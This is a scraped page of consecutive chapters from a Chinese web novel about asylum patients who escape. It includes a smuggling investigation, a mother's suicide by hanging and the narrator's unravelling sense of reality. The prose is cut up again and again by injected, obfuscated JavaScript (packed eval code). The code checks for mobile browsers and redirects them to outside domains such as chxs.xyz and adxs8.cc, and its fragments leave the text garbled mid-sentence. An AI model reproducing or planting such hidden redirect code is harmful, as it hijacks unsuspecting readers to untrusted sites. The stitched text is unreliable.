RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916592|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的词条,出乎意料的多。 但几乎都是负面新闻。 潜规则、酗酒、暴力斗殴,甚至连毒都沾上了。 想都不用想,大部分都是无中生有的捏造。 而其中最令她在意的一点,有关陶泽的最后一条消息,是他接到的一个电影剧本。 那是一部几年的上映的口碑不错的电影,陶泽本该在里面饰演一个讨喜的侠盗角色,从十八线小演员步入正轨,进入事业上升期。 可后续爆出来的潜规则丑闻毁掉了一切。 林归伞顿时没了玩手机的兴致,灯一熄,被子一盖,闭上了眼。 翌日,她起了个大早。 老大爷似的在走廊上散步,时刻关注查房的医生,还有陶泽那间房的动静。 她首先等来的,是浩浩荡荡的医生护士队伍。 在心底亲切地问候了陶泽一百遍,她面带微笑迎了上去,“早安,拉斐尔医生。” 拉斐尔颔首,“林小姐也是,早上好。” 他顿了顿,“不过似乎,你今天看起来气色没那么好。” 那当然,任谁昨天焦头烂额来回捣腾,晚上没睡早上又醒,现在还得紧张兮兮拖延时间,气色都不会好。 林归伞张嘴还没回答。 队伍后一个护士就抢先说:“林小姐昨天贪嘴,光吃零食没吃晚餐。” 林归伞:“……” 拉斐尔哭笑不得,“什么零食这么好吃?” 林归伞颇有些自暴自弃的趋势,“医生想知道的话,我给你发个清单。” 拉斐尔忍笑,“不用了,林小姐下次别贪嘴,注意身体健康就行。” 林归伞面无表情,左跨一步挡住拉斐尔前进的步伐,棒读道:“对了医生,我感觉有点不舒服。” 拉斐尔驻足,看了一眼走廊深处的几间病房门,“行,今天查房换一个顺序,我先帮林小姐检查身体。” “心跳偏快,体虚发汗,面色苍白。” 拉斐尔摘下听诊器,得出结论,“没什么大碍,就是有些低血糖,下次记得按时吃晚餐。” 林归伞听话地点点头,见他起身要走,赶忙拉住他衣摆。 拉斐尔回头,眼镜上的防滑链轻轻甩动,“林小姐还有什么事吗?” “呃。”林归伞脑子里拼命搜寻借口。 拉斐尔勾了勾唇角,主动抛出话题,“上次约谈闹得很不愉快,我以为林小姐会怕我。” 林归伞一怔,“怎么会呢?我后来想明白了,医生既然说那些恐吓的话,说什么不择手段治好我送上法庭。” “行动上继续照做,反而达不到效果,大概是看我脑子太轴,搬出来吓唬我的。” 拉斐尔但笑不语,没说是或不是。 “最近还有出现幻觉吗?” “没有了。” 拉斐尔欣慰道:“很好,保持这个状态,有什么问题一定记得同我商量。” 林归伞用力点头,“我知道。” “好了。”拉斐尔拯救出他被林归伞抓皱的衣摆,“我该查下一间房了。” 林归伞情急之下胡乱找话题,“医生,外头天气怎么样?” 拉斐尔已经品出不对味来,“林小姐,你一而再再而三喊住我,是在拖延时间,有什么事瞒着我吗?” 林归伞强装若无其事,瞄了眼挂钟,离陶泽约定的最晚时间还差一刻。 她正想豁出去了,却有个懂眼色的护士快步出门,想拦也拦不住,一把拉开隔壁极乐的病房门。 “不好了。” 护士震惊地喃喃,“342号病人,极乐先生不见了!” 林归伞:“?” 不是哥们儿,怎么你也? 26. 第 26 章 当林归伞为了不让陶泽和萧夺逃院的事暴露,争分夺秒拖延时间时,却听到护士说隔壁极乐不见了。 问:负一层的病人里最会逃院的是谁? 晓天仪吧,所有人都说是她。 萧夺也不错,有几次先例。 陶泽勉勉强强能算,好歹这次成功出逃了。 等等,极乐是谁? 负一层短暂陷入慌乱,护士们四处奔走,转了一圈后不得不承认。 极乐是真的消失了,大概率逃出了这所疯人院。 整座医院因为这一人,顿时忙乱起来,广播拉响,重复描述三遍极乐的特征,寻求目击者。 保安收到对讲机的通知,严加封锁医院出口,还有的立即查起监控,想知道极乐是何时离开的。 查房的事刻不容缓,防止还有第二个逃院者。 林归伞心急不已,陶泽还没好吗? 万一保安封锁出入口,把正巧回来的陶泽堵上了怎么办? 焦虑不安的等待中,她看到陶泽从走廊尽头气喘吁吁奔来,卷发被汗水打湿,脸颊伴随潮红。 一看就知道,是千钧一发之际赶回的医院。 他装作若无其事看热闹的样子,伸脖子张望,“咋了咋了,发生啥了这么大阵仗?” 林归伞言简意赅回答,“极乐逃院了。” 陶泽眼中先是与她如出一辙的迷惑,紧接着面色古怪。 同一天,疯人院负一层统共才六个病人,一下子跑了三个。 “……牛逼。” 最终,他只能竖起大拇指。 查房的结果出来了,好消息是逃跑的只有极乐一人。 坏消息是,他至少三四天前就已经跑了。 因为三天前的一段监控里,拍摄到一个白发病人把头毛一摘,露出晓天仪流泻披散的长发。 好家伙,搞替身居然还真让她成功了。 极乐向来不配合查房与体检,平日里护士只要确认他还活蹦乱跳就不再管。 出于白化病人的特殊性,都是隔一段时间给他来一针麻醉药,然后推进病房做全面检查。 正是这样的漏洞,让晓天仪与极乐有可乘之机。 林归伞得知消息时,手肘捅了捅陶泽,压低声音,“你看看人家,多省事省心。” 陶泽不解其意。 林归伞幽幽说道:“为了给你和萧夺擦屁股,昨天一天我就累出低血糖。” 陶泽表情讪讪,双手合十做讨饶状,“对不住,下次请你吃饭,不是医院没滋没味的健康餐,给你点个外卖。” 林归伞勉强表示满意,“对了,萧夺他人呢?居然跟着你回来了?” 陶泽听她一提及萧夺,神色蔫了下来,“他正套在拘束衣里,还是我帮他套上的,说实在的我也没明白他为什么要回来。” 他简略叙述了一下这一路的经历。 “一开始萧夺和我打赌,到底是他的红毛还是我的自来卷好看。” 林归伞:“?” 陶泽干咳两声,“别这么看我,他真的这样说,也是出于这个原因答应帮我逃院,但他心里怎么想的我就不得而知了。” “出去后他也一直跟着我,实在没办法又甩不开他,我心想不算什么大事。” “就当着他的面挖出我当侠盗时藏的财宝,打算找个销赃渠道。” “我当时实在没办法,以前的路子耗时太久,我又急着用,只好冒险选择一个黑市上不太熟的。” “萧夺就是在这时叫住我。” 陶泽面露迟疑,“他说他有专门的门路,前提是他要扣一笔手续费。” “比我咬牙选的那个花费更少,我向他确认了,还是流往国外的销赃路线,只要出了海关更不容易被查些。” “可我事后一想。”陶泽十分忧虑,紧皱的眉头始终不曾松开,“萧夺跟着我要是为了钱财,万一他把整批财宝都昧下了,我上哪儿申冤去?” “然后我再细想,真是图钱的话,他拿了东西就跑比什么都方便,何必回到疯人院来,直面我这个苦主?” 陶泽不安地向林归伞确认,“你觉得呢?萧夺这人可不可信?” 林归伞:“……” 财宝,销赃,渠道。 好陌生的词汇。 陶泽这是又犯病了? 反正在她看来,就是陶泽沉浸在侠盗妄想症中,从地里刨出不知名的东西,甚至可能是坨苟史。 然后一脸兴冲冲跑去交换钱财,不被逮住暴打一顿就怪了。 萧夺才是那个苦口婆心,忙死累活帮他收拾烂摊子的,骗得陶泽把苟史交给他。 快说谢谢萧夺。 林归伞:“所以到底是红毛好看,还是自来卷美丽?” 陶泽战术后仰,难以置信道:“我说了这么一大堆,你最关心的居然是这个?” 林归伞莫得感情重复,“所以到底是——” 陶泽不想听下去,打断道:“根据路人票选,暂时是红毛领先一截。” 他一口气不带喘,恼羞成怒地低吼,“但萧夺那厮狡猾,选的路人大多是妹子,她们一见那张混血风格的狼系帅哥脸,眼神往下盯着他的大胸就挪不开了。” 陶泽笃定地宣布,“这是大胸的胜利,绝不是红毛有多好看!” 林归伞:“……” 这时,拉斐尔的再次出现打断二人对话。 他推了推银框眼镜,蔚蓝的眼眸中略带探究意味,“林小姐,你今早拖延查房进度这事,与极乐有关吗?” 林归伞不着痕迹与陶泽对视一眼。 她摇头。 拉斐尔追问,“那是为什么?” 林归伞无奈道:“医生,我是真的身体不舒服,不知道为什么就被你误以为在拖延时间。” 拉斐尔弯了下唇角,却并无一丝笑意,“最好当真如此。” 他没有过多追究,比起林归伞的嫌疑,晓天仪的从犯身份更加不容置喙。 林归伞与陶泽就这样眼睁睁看着他带走了晓天仪。 “晓姐再三拒绝我们,会不会是因为她先答应了帮极乐?”林归伞问。 陶泽深以为然,“准是这个没跑了。” “不过极乐没事逃院做什么?”陶泽跟他不熟,只能问关系与他最好的林归伞。 林归伞心里已经有了答案。 还记得极乐曾以玩笑似的口吻,说他要离开疯人院,调查谢言竹的亲朋,继而找到他病情的漏洞。 向林归伞证实他所坚持的怪物论。 何必呢? 她绝不会相信的。 拉斐尔医生说的没错,她这段时间已没再出现幻觉。 一切都是从极乐消失在她的生活中,缺乏诱因开始的,只要继续坚持下去她迟早能痊愈。 到时候她会去坐牢。 说不定能跟林雨停当狱友。 出狱后也不知道还能不能继续上大学,完成学业,再顺理成章毕业找工作。 可能因为犯罪履历生活艰难,四处碰壁,但总归有希望的。 每年与林雨停到父母坟前祭拜。 父母会原谅她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919584|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗? 答案只有她死后才能知道了,但生活总要继续下去,不为任何人停留。 林归伞不期望自己还能有灿烂美好的人生。 但她的余生至少不愿在疯人院度过。 病愈,然后直面犯下的罪。 这是她在日复一日的医院生活中,唯一的念想。 极乐要想捣乱的话,她绝不会原谅。 叮—— 林归伞手机上收到一条信息。 打开屏幕,是来自暖心病友的,长篇大论的内容。 ——聊天页面—— 有结果了。 晓姐刚才着急忙慌通知我事情败露,你应该知道我逃院了吧。 我跑谢言竹家里问了一圈。 他们的口径大体上一致,还因为太离谱,瞎话都不像编的,撒谎的可能性并不高。 谢言竹一年多前出院,状态似乎恢复正常。 对待亲朋和谐友爱,甚至友爱得过了头,完全不像对待渣爹后妈私生子。 这三人跟我叙述的时候,还后怕地说谢言竹当时看他们的眼神感觉毛毛的,简直没把他们当人看。 谢言竹还去了曾任职的大学,但不是死缠烂打找回工作。 而是诚心向学校道歉,自责说他带来不好的影响,最后跟他关系友好的同事们道了个别。 他找到了被他撞死那小孩的亲属,就是那对故意上学校闹事讹钱,导致他生活从此一团糟的父母。 谢言竹没有任何怨怼,在小孩的灵堂前上了柱香。 回到家,平静地割了腕。 但这不是了却余生的释然自杀。 根据谢家的佣人说,他将谢言竹从浴缸里捞出来的时候,听到他昏迷前最后一句话语。 我发现了这个世界的真相。 “……” 林归伞猛然合上手机。 装神弄鬼。 她在心底冷冷地想。 先不说堂堂谢家,为何让极乐这么个可疑分子登堂入室,配合回答他的问题。 就说那句“世界的真相”。 听起来更像一个表面上病好了,实则还没完全好的精神病人,神智恍惚时的疯言乱语。 她凭什么相信? 林归伞干脆利落拉黑了暖心病友的联系方式。 几天后,一向平静如死水的负一层,闯进来一群外人。 神情严肃,制服规整,是警察。 林归伞以为,是找她继续处理父母那桩案子的后事,评估她的精神状态稳定后,问出更多细节。 警察也确实笔直朝她走过来,带她到了一间临时被征用做笔录的观察室。 那里早已经等了一个人。 陶泽雕塑般死气沉沉坐在椅子上,桌面上放着一个半打开的包裹。 满是泥土的布料掀开一角,露出与之形成鲜明对比的,各种流光溢彩的首饰和宝石。 看见这一幕,林归伞忽然明白发生了什么。 陶泽的销赃路线被警察查获,作为同犯帮助他逃院的林归伞免不了问责。 但这怎么可能呢? 陶泽一个十八线小明星,上哪儿来这么多财宝? 不可能是假货,因为警察都来了。 难道他真的是侠盗? 不! 绝对不可能! 林归伞痛苦地捂住脑袋,生理性泪水模糊眼中的世界。 谁来帮帮她? 医生,拉斐尔医生! 求你—— 不要让她再对现实产生动摇了。 27. 第 27 章 “陶先生。” 警察严肃地指了指桌上那堆金银珠宝,“能告诉我这些东西你是从哪儿来的吗?” 坐在他对面,陶泽脑袋垂得很低,脊背像是被压弯了般佝偻着,无论警察说什么都是左耳进右耳出,闭口不答。 警察见状敲了敲桌子,“坦白从宽,抗拒从严。” “这些财宝的价值单从材质上看,粗略估计就有几千万,还要考虑文物古董的可能,最后算下来的金额只高不低。” 警察说着自己也头疼,捏捏眉心,“请陶先生不要抱有侥幸心理,觉得能用精神病的理由脱罪。” 陶泽依旧是一副死气沉沉的模样,闻言眼珠子转了转,扫一眼对面警察,重新无动于衷地垂眸,只盯着桌子上的花纹瞧。 “小泽。” 陶泽猛然一僵,心神在这一声轻唤下全面溃败,铺天盖地有如潮水,浩浩荡荡的情绪冲洗得他无比狼狈。 他不敢扭头,循声音来源处看,但已经能想象到观察室外的人。 陶欣然病还没好全,刚从休克状态脱离没几天,被一件宽大衣服罩着,瘦得像轻飘飘的纸片,向来精致护理的卷发毛糙得如同干草。 口罩遮住她大面积烧伤的脸,一双温婉的眼眸此刻只剩憔悴。 她伸手,轻轻搭在玻璃窗上,那手看起来简直像老年人的,皮肤又干又皱,散发失去水分的焦褐色,骨骼更是嶙峋可见。 “小泽。”陶欣然嗓音嘶哑,隐隐压抑着什么,“听妈的话,配合警察工作好不好?” 陶泽霍然起身,椅子被他掀翻到一边,一手撑着桌面,身子竭力往警察那边探去,目光恶狠狠的。 “萧夺呢?不见到他我是不会开口的,叫他滚过来见我!” 他只设想过两种情况。 一是金银珠宝被萧夺私底下扣住,巨额金钱流入这人钱包里。 二是合作愉快交易顺利,金钱一分不少给他。 却从来没有想过连市区都没出,就被警察查获扣押,甚至找上门的可能。 走私渠道那么多,怎么偏偏查到了他这条? “萧夺那废物呢?”陶泽目眦欲裂,“他信誓旦旦这条路子不会被发现,结果呢?这才过了几天?我被查他也别想脱身!” 陶欣然断喝道:“小泽!” 陶泽顿时哑了声,依然固执地不肯扭头。 母亲的声音却能毫无阻隔传入耳中,带着浓浓失望的意味,“都到了这地步,你想的不是认错,居然是迁怒同伙不该让你被抓。” 陶欣然哭着质问,“你什么时候变成这样的人了?” …… 林归伞越过陶欣然,视线在陶泽缄默的身影上一触即离,然后她被送入了隔壁那间观察室。 问话的是个女警察。 她微笑道:“林小姐,请坐。” 林归伞于是照做。 “又见面了。”女警低头扫了眼手里的资料,“呃,这话用来打招呼可能不是很合适。” 林归伞心下诧异,仔仔细细描摹女警的五官,确认自己并不认识。 接收到她眼神的含义,女警尴尬地说:“林小姐不记得了吗?上次查你们家里那桩案子时,给你做笔录的就是我。” 林归伞低低吐出两个字,“忘了。” 她连自己真正的病历,都需要拉斐尔医生费尽心思的提醒才能回想起来,直到现在记忆还有些模糊。 做笔录的警察是谁,她不知道也不可能关心。 女警倒也不介意,说起正事,“我们查了一遍医院监控,发现是林小姐帮助陶泽和萧夺二人,隐瞒他们逃院的事。” “你事先是否知道,他们逃院是去做什么的?” 林归伞没有回答,沉默片刻后反而主动提问,“我先前路过时看到,陶泽面前堆了些东西。” 她急切道:“那些都是真品吗?此前是放在陶泽手里的吗?” 女警皱了皱眉,“我可不可以认为,林小姐这番话,侧面印证你对陶泽要做的事,并非一无所知?” 林归伞并不直言是或否,她现在满心满眼只在乎一个问题,强硬道:“我想确认自己有没有被坑行吗?回答我,陶泽那堆财宝到底是真是假,是不是他拿出来的?” 女警叹了口气,“经鉴定,都是真品,还都有一定年份,具体出处现在正交由专家鉴定。” “这东西埋土里有些年岁了,挖出来后,除了走私贩子的指纹,就只检测到陶泽与萧夺二人的。” 林归伞扯了扯嘴角,脸色霎时惨白,“也就是说八九不离十。” “陶泽一个十八线小明星上哪儿弄来的?” 女警说:“这也是我们想知道的。” “所以林小姐,请问答我之前的问题,你对陶泽的事是否知情?” 林归伞就像完全没听见女警的问话,“萧夺呢?” 她神经质地低语,“你们最应该审问的人不是他吗?陶泽就是一个侠盗妄想症患者,谁知道他从地里刨出的什么?” “说不定是萧夺呢?”她冲女警笑了笑,循循善诱且急迫获取信任的笑容,“是萧夺暗中替换了财宝,让陶泽替他背上主要责任。” 只有这样,陶泽身上的古怪才能说清。 一切都恢复了正常逻辑,世界上没有古怪不合理的地方,也没有篡改现实的怪物。 她还在正确的现实中。 “小伞。” 熟悉的称呼,只有一人会这么叫她。 但他应该被监狱关押,而不是堂而皇之踏入医院负一层。 简直像一个无视法律修改了现实的怪物。 林归伞身形顿时凝固住,下一刻,仿佛遇见洪水猛兽般歇斯底里尖叫起来。 “你为什么会在这里!” 她瑟瑟发抖蜷缩在角落,像只濒死的幼兽般喘息呜咽,指向门口站着的林雨停。 “你被判了刑,应该待在监狱里的,怎么会出现在医院?” “警察呢?”林归伞四下扭头,直勾勾盯住了女警,“我举报,有人逃狱,快点抓住他!” 女警手足无措,“林小姐不要激动,你哥认错态度良好,被判的是缓刑,没必要入狱的,今天作为你的监护人到场。” “还有林先生也是。” 她没好气道,“请不要在未经允许的情况下擅自进来,免得刺激了林小姐。” 林雨停浅浅抿唇,眼眸乌润漆黑,隐隐泛泪意,眼下一颗泪痣更显妖异,如一阵缠绵湿冷的拂风阴雨,贪恋地凝视林归伞许久。 “不好意思,太久没见小伞了,有些想念她。” 女警也不是完全不通情理的类型,摆了摆手说:“好吧,现在先请林先生离开,等林小姐情绪稳定了,你们兄妹再叙旧。” “我举报!” 女警的话音戛然而止,看向说这话的林归伞。 她的眼神是一种不正常的疯癫偏执,指向林雨停,“私藏我的那段时间里,是他侵犯了我,强·奸罪总能进监狱吧?” 女警神色微僵。 庭审的时候,林归伞的证言是她精神崩溃,为了发泄强上了养兄,而林雨停本就怀有愧疚,半推半就着从了她。 算起来是男方被强迫,但也有趁人之危的嫌疑。 案件实在不好判,双方也没有追究的意图,于是比起林归伞杀害双亲的罪名,这桩名不正言不顺的强·奸案也就不了了之。 如今再提起,还是林归伞精神状态不稳时主动改口。 女警疲惫地叹气,“林先生,事后你跟我走一趟。” 林雨停似是难以置信望向林归伞。 她笑了起来,胸膛颤抖,一颗心仿佛鲜血淋漓,每跳一下,都是割肉的疼。 “对不起,我不该这样说,但你也不该出现在这里,你应该待在监狱。” “不对。”林归伞再次改口,“缓刑也说得过来,你出现在这里合情合理,但是我不想见到你。” 林雨停脸上像是被打了一拳,难堪又痛苦,“小伞,你为什么——” “哥,对不起。”林归伞何尝不知道自己的话语有多伤人,只能苍白无力地道歉,“不是你的错,是我的问题。” 在颠三倒四语序混乱的道歉声里,只有一句话林归伞说得无比清晰。 “拉斐尔医生在哪儿?让他来见我好不好?” 林归伞无助地恳求,“让他来告诉我,到底什么才是真的?” …… “我说的全部都是真的!” “妈,你为什么就是不肯相信我?” 陶泽终于看向了陶欣然,被她形销骨立的姿态刺痛双眼。 他喘了口气,指向将空间留给他们母子的警察,指向来来往往的医护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927741|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人员,指向所有无关紧要的人。 “他,她,他们,这些要么都是怪物变的,要么就是已经被洗脑的平凡庸碌至极的路人。” “只有像我这样少数几个幸运儿,亦或是倒霉鬼能洞悉真相。” “我没病,更没有疯。”陶泽笃定地说,“是这个世界病了。” “侠盗的身份是真的,十八线小演员才是怪物硬给我安上的头衔,你看——” 他捧住金银珠宝,往母亲面前递了递,“这些就是我以前收集的,用来孝顺您,以后不用忙死累活的工作,您只管享清福好不好?” 陶欣然恨恨拍开那些黄金宝石,“这些是赃物!是你偷来的!” 她无力地看着自己这个已然疯魔的儿子,“妈以前怎么教导你的,要做一个正直的人,偷来的钱我宁愿累死也不要。” “您就忍心让我看你活生生累死吗?”陶泽陡然吼道,积压心底的怨气在此刻爆发。 “正直有什么用?能让你不被丈夫抛弃吗?我到现在都不知道自己的死鬼爹是谁?做个正直的人,结果就是像我一样被潜·规则,网·暴,甚至差点沾了毒,最后送进疯人院里等待老死吗?” 陶欣然捂住了嘴,眼眶发红。 陶泽后知后觉反应过来他都说了什么混账话,猛然别过头去,“我说错了话,妈你别放在心上。” “这才是你的真心话吗?”陶欣然却无法当自己没听过,“是妈没出息,对不起你。” “当不入流的小明星太苦了,所以你想当个侠盗,自由自在的多好。” “妈脑子太笨,把自己累得住院,所以你偷来这些珠宝,想替妈减轻负担。” “你从来就是个好孩子。”陶欣然失神地笑了笑,恍惚间十分温柔。 “原来一直是妈拖累了你。” 陶泽心底陡生不安,“妈,你别瞎想,小明星只是怪物捏造的身份,就连我们的苦难也是怪物一手造就。” “怪物怪物的。”陶欣然再也听不下去,“你倒是告诉妈,怪物是什么,怪物在哪里?这些人到底哪里像怪物了?” 陶泽转头看了一圈,警察正盯着他们的对话做笔录,医护人员各忙各的,“我不知道,但拉斐尔医生,他一定是怪物的一员!” “你看,作为主治医生的他不在,肯定是心虚躲起来,又在做坏事了。” 陶欣然淡淡地说:“拉斐尔医生正在接受审查。” 陶泽一愣。 “医院接连有病人出逃,他这个医生首当其冲要被问责。”陶欣然笑了一下,“这就是你说的怪物,连自己饭碗都快保不住的怪物?” 陶泽半晌哑口无言。 陶欣然说:“你要是还在乎妈,就听我说的,接受治疗安心出院。” “不可能!”陶泽断然道,“妈,那些怪物就是打着治疗的名义,将我同化洗脑。” 陶欣然喝道:“装装样子都不行吗?” “妈才不管你到底是侠盗还是小明星,妈只是不想见到你一生在疯人院蹉跎,我的小泽就应该健健康康快快乐乐的。” 陶泽眼中流露出剧烈的动摇,最终他仍是摇头,“不行的。” “陶泽!”陶欣然尖声叫喊,十根瘦长的手指死死扣入他肩膀,“我到底与你结了什么仇,你要这样对我!” 警察见势不对,推门涌入,钳制住陶欣然将她带离。 陶泽捂着被指甲划破的肩膀,远远看着陶欣然的身影,迟疑唤了一声,“妈。” 他搬起椅子,颓然坐了上去,任由医护人员替自己处理伤口。 贴好绷带,即将拉上衣领时。 他忽然听到警察焦急的喊声,“陶女士,请打开门。” “陶女士?” “要是再不打开,我们只好采取强制措施了。” 砰、砰、砰。 撞门声响起,突兀与他的心跳重叠,血液逆流胀得头脑发昏,不详的预感敲响警钟。 陶泽视野晕眩,还没反应过来身体就自己行动。 “滚,都给我滚开!” 他不顾阻拦撞开警察,以生平最快的本事撬开那扇上锁的门。 门后—— 吱呀吱呀,电风扇旋转。 一截衣摆在眼前晃荡,女性干枯瘦弱的脚上,高跟鞋欲坠不坠。 他看到了母亲吊死的尸体。 28. 第 28 章 “警察就是这样办事的吗!” 陶泽揪住离得最近的那个警察衣领,一拳揍了下去。 年轻的小警察脑袋猝不及防被打了一拳,脑袋歪到一边,手里捧着的一杯热茶浇湿了半边身子,却对疼痛恍若未觉,只沉默地任由他发泄。 其余警察见状,赶忙拉开这二人。 陶泽一边挣扎一边吼,“放开我,一群吃干饭的,任由一个情绪不正常的犯人家属独处,搞出这种事——” 他窒息般卡住喉咙,不敢回头看母亲的尸体,眼眶被红血丝占满,渗出的泪水仿佛沁着血。 陶泽满目恨意,对四面八方围拢的所有人冷笑道:“怎么轮到我了就处理得这么及时?我妈是你们故意放任之下害死的对不对?你们这群怪物的走狗!” 最开始被他打的小警察扭过头,满含歉意看着他,嘶哑道:“抱歉,陶先生,是我没能看住你母亲。” 他没说自己是被陶欣然支开,出去替她倒杯茶的功夫,门就被反锁上。 陶泽不需要他的借口,更不需要他假惺惺的道歉,反而更被激怒,身边五六个警察都险些没按住他。 “滚!” 吼完这一声,他突兀卸了力道,像具提线木偶般,被几个警察钳制住手脚,头无力地低垂,身体吊在了半空。 陶泽失声哽咽,每一个字音都在颤抖,“我不要你们道歉,我只要你们把妈妈还给我。” “……” 在场众人皆是静默。 等病人的情绪稳定后,由医护人员从警察手中接过他带走。 陶欣然的尸体也被小心放下,裹上医院现有的白布。 大家各自忙碌,只有小警察还呆呆捧着早已倾洒的纸杯,出神凝视电风扇上悬着的挂绳。 路过的警察叹口气,拍了拍他的肩,“这绳子是死者自己带来的,恐怕早有自尽的意图,不能完全怪你。” “天气凉,先把这身湿衣服换了,免得生病。” 小警察嗯了声,将空纸杯丢进垃圾桶,接过一旁护士递来的病号服,医院只有这个。 他前往临时更衣室,合上房门,将警察制服脱了下来,套上蓝白色病号服。 期间那头漆黑短发褪了色般,转为新雪的洁白,亚洲人标志性的褐眸眨了眨,换成紫水晶的瞳色。 极乐给自己带上金色纸王冠发卡,对着镜子比了个耶的手势。 …… 警察强制撞门的动静传来时,林雨停这边的对话也强行终止。 他贪恋地以目光描摹林归伞的容颜。 “你不想见我,那我不出现在你面前就是了,只求你不要讨厌我,小伞。”他期期艾艾地恳求。 林归伞面色苍白地点头,低低唤了一声,“哥。” 林雨停总算露出一个稍显心安的笑,离开了这间临时征用的审讯室。 脱离林归伞的视线,他脸上的表情立刻消失了,脚步一转迈入电梯,出了负一层登上医院顶楼,站定在领导办公室前,敲了敲门。 不需要回应,他自顾自毫无礼数地推门而入。 秃头啤酒肚的院长正逮着一个医生,劈头盖脸地训话,见林雨停的到来,仿佛电池耗尽的玩具般木讷停下所有动作。 林雨停随手推开他,代替他的位置,饶有兴味审视面前的医生。 金色过肩长发,蔚蓝眼眸如海,典型的欧式高鼻深目,轮廓立体的俊美长相,银边眼镜的防滑链垂在胸前,端看气质显得温和又彬彬有礼。 此刻却是一副目空一切的冷淡神情。 “上次你企图把我送进局子,这回我让你丢饭碗。” 林雨停恶劣地挑起嘴角,“按照人类的话来说,眼下的场景应该叫风水轮流转吧?” “嗤,明明疯人院是你的领域,却连医生的名头都险些保不住,你是想笑死我吗?往后几百年的乐子都有了。” 拉斐尔没有任何回应,镜片下一双冷冽的眼眸,不带任何感情剖析林雨停的神色。 林雨停不屑道:“装模作样,还是你破防的样子要顺眼得多。” “千万别想着与我硬碰硬,默认的规矩,在人类世界里不许动用蛮力掀棋盘。” “而是比谁写的剧本更精彩。” 拉斐尔终于开口了,“这是你写的剧本吗?” …… 当陶泽母亲自杀的消息传到林归伞耳中时,林雨停已经走远了,疯人院正在他身后陷入一片兵荒马乱。 再次见到陶泽,是在几小时后。 他半躺在病床上,刚从镇静剂的余韵中恢复过来,见有人到访也毫无反应,眼神空洞不知落在何处。 林归伞什么话也没说,安静坐在床榻边。 死寂半晌,陶泽先开口了。 “从我有记忆起,一直是妈一个人抚养我长大,听邻居说是那个与我有血缘关系的男人抛弃了我妈,因为那张重度烧伤的脸。” “小时候家里又苦又穷,我整个人瘦条条的,比同龄人矮小,因为一张秀气的脸还被嘲笑作娘炮。” 陶泽说到这里,不由自主抿出一抹浅浅的笑,“每到这时,妈就从天而降,凶神恶煞吓跑那群欺负人的小孩。” “她还抹干净我的花猫脸,对我说她可喜欢我的长相了,有她从前的几分美貌。” “可我哪知道妈以前长什么样子?反正一定是个大美人。” 陶泽珍惜地摸了摸他的小卷毛,“但我从此喜欢上了自己的脸,喜欢上了与妈妈如出一辙的自来卷头发。” “后来当明星可能也是这个原因,当然还因为对学历要求不高,捞钱又快。” “但我不是干这行的料,工资顶多饿不死自己。” “好不容易。”他顿了顿,强调道,“真的好不容易拿到一份不错的资源,那个侠盗的角色。” “我以为一切都会好起来。” 陶泽话语已经带些哽咽,顿了好久才重新恢复平稳语调。 他仿佛在讲一个无关紧要之人的故事,而不是发生在他自己身上的,语气淡漠而平静。 “剧组有人瞧上了我的脸,想潜规则我。” “我抵死不从,于是黑料满天飞,妈毁容后的照片都被人肉扒出来!” “甚至有一次,我差点在不知情的时候染上毒·瘾!” 陶泽闭了闭眼,“角色这事黄了,给了另一个肯爬床的新人,至于我,则被送进了疯人院。” 林归伞涩然道:“你为什么,不肯早点承认?” 要是再早些,对陶欣然而不是对她说这些话,有些事就不会发生了。 陶泽猛然高声说:“我做不到啊!” 他通红着眼看向林归伞,用力抓挠脑袋,毫不顾惜他最喜爱的卷发,颓然地说:“无论重来多少次,我就是做不到。” 林归伞无法理解他的坚持。 站起身,远离了他,眼神像在看一个不知名的怪物。 “你母亲不止一次说过,就连我也听到了,她根本不在乎你有没有病,你是侠盗还是小明星。” “她只是希望你能从疯人院出来,哪怕为了她,口头向医院妥协,就连这点小事你都不肯退让吗?” “……不能。”陶泽直到现在,依旧以垂死的语气挣扎。 林归伞实在看不下去,质问他,“你到底在坚持什么!” “人都死了,无谓的嘴硬还有意义吗?” 陶泽面对她的指责,无处发泄的情绪终于找到了引火线,将他的铁石心肠炸开一个缺口。 他总算肯吐露实情,“因为在我的记忆里,母亲身染重病,掉光了头发。” “我是为了给她治病才当的盗贼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14931953|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不对。 这根本不是陶泽的记忆。 